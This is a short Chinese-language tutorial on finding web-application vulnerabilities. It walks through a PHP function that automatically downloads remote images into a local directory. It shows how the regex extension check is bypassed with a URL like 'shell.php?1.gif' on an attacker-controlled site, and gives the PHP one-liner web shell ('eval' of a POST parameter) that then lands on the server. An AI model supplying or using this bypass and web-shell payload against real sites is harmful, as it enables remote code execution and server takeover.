挖掘web應(yīng)用程序0day最有效、最直接的辦法就是直接從文件操作函數(shù)入手,我個(gè)人喜好首先看上傳類代碼,本文來個(gè)簡單技巧。當(dāng)然技巧不完全是個(gè)人原創(chuàng),也是通過學(xué)些別人的技巧自己想到的,所有本文的目的也是做個(gè)奠基,然后對(duì)你將來的挖掘過程有所啟發(fā)。
函數(shù)代碼:
function download( $content, $absurl = "", $basehref = "", $exts = "gif|jpg|jpeg|bmp|png" )
{
global $cfg;
$string = stripslashes( $content );
if ( !preg_match_all( "/(href|src)=([\"|']?)([^ \"'>]+\\.(".$exts."))\\2/i", $string, $matches ) )
{
return $content;
}
$remotefileurls = array( );
//此處省略若干……
unset( $matches );
unset( $string );
$remotefileurls = array_unique( $remotefileurls );
$filepath = date( "Y/md/", $this->dateline );
$imgdir = $this->imgdir.$filepath;
include_once( ROOT."./core/dir.func.php" );
dir_create( $imgdir );
foreach ( $remotefileurls as $k => $file )
{
$ext = fileext( $file );
$salt = rand( 1000, 9999 );
$filename = $this->dateline.$salt.".".$ext;
$newfile = $imgdir.$filename;
if ( @copy( $file, $newfile ) )
{
$oldpath[$k] = $k;
$newpath[$k] = $imgurl.$filename;
@chmod( $newfile, 511 );
}
//此處省略若干……
}
return str_replace( $oldpath, $newpath, $content );
}
這個(gè)是一個(gè)實(shí)現(xiàn)遠(yuǎn)程圖片自動(dòng)上傳功能的函數(shù),用戶提交的content中若有圖片地址則自動(dòng)將遠(yuǎn)程的地址copy到本地!在清楚content中的圖片路徑時(shí)候采用preg_match_all 正則匹配(紅色代碼部分),雖然有擴(kuò)展名的驗(yàn)證但是很容易就能繞過,我們只需要將shell地址修改為:http://www.mysite.com/shell.php?1.gif就可以繞過了,mysite是自己的網(wǎng)站地址,如果自己網(wǎng)站下解析php的話那么php內(nèi)容應(yīng)該是<?echo '<?eval($_POST[cmd]);?>';?> 否則下載后得到的文件內(nèi)容是空白,copy訪問遠(yuǎn)程文件也像IE一樣,訪問后取得解析后的內(nèi)容。